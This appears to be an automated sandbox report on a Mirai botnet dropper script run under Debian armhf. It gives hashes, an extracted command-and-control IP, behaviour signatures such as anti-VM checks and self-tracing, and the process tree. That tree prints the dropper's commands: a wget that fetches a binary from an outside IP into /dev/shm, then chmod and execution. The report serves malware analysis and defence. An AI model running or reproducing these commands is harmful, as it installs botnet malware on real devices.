Overview

overview

10

Static

static

1

beabb0ed4d...8bd.sh

ubuntu-18.04-amd64

10

beabb0ed4d...8bd.sh

debian-9-armhf

10

beabb0ed4d...8bd.sh

debian-9-mips

beabb0ed4d...8bd.sh

debian-9-mipsel

Analysis

  • max time kernel
    142s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/07/2026, 06:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    beabb0ed4df2dd702ca9e61faa4b967eb63bf4e07950952b1ecf2997833308bd.sh
  • Size 3KB
  • Sample260705-gsefaaas9w
  • SHA256 beabb0ed4df2dd702ca9e61faa4b967eb63bf4e07950952b1ecf2997833308bd
  • MD5 SHA1 SHA512 TLSH
Score
10/10
antivmbotnetdefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

C2

  • 89.190.156.145

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Traces itself 19 IoCs

    Traces itself to prevent debugging attempts

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/beabb0ed4df2dd702ca9e61faa4b967eb63bf4e07950952b1ecf2997833308bd.sh
    /tmp/beabb0ed4df2dd702ca9e61faa4b967eb63bf4e07950952b1ecf2997833308bd.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/tr
      tr "[:upper:]" "[:lower:]"
      2⤵
        PID:649
      • /bin/uname
        uname -m
        2⤵
          PID:648
        • /bin/rm
          rm -f /dev/shm/.nerv.arm7
          2⤵
            PID:653
          • /usr/bin/wget
            wget -qO /dev/shm/.nerv.arm7 http://93.115.101.140:13677/bins/nerv.arm7
            2⤵
            • Writes file to shm directory
            PID:656
          • /bin/chmod
            chmod +x /dev/shm/.nerv.arm7
            2⤵
            • File and Directory Permissions Modification
            PID:678
          • /usr/bin/basename
            basename /tmp/beabb0ed4df2dd702ca9e61faa4b967eb63bf4e07950952b1ecf2997833308bd.sh
            2⤵
              PID:680
            • /dev/shm/.nerv.arm7
              /dev/shm/.nerv.arm7
              2⤵
              • Traces itself
              • Changes its process name
              • Checks CPU configuration
              • Reads runtime system information
              PID:679
            • /bin/rm
              rm -f /tmp/beabb0ed4df2dd702ca9e61faa4b967eb63bf4e07950952b1ecf2997833308bd.sh
              2⤵
                PID:682

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .nerv.arm7
                  • Path /dev/shm/.nerv.arm7
                  • Size 132KB
                  • SHA256 31c737dc339d77f66a8eb33f5e514c7294b77978d084d60b0f6730c46ac6cf1d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download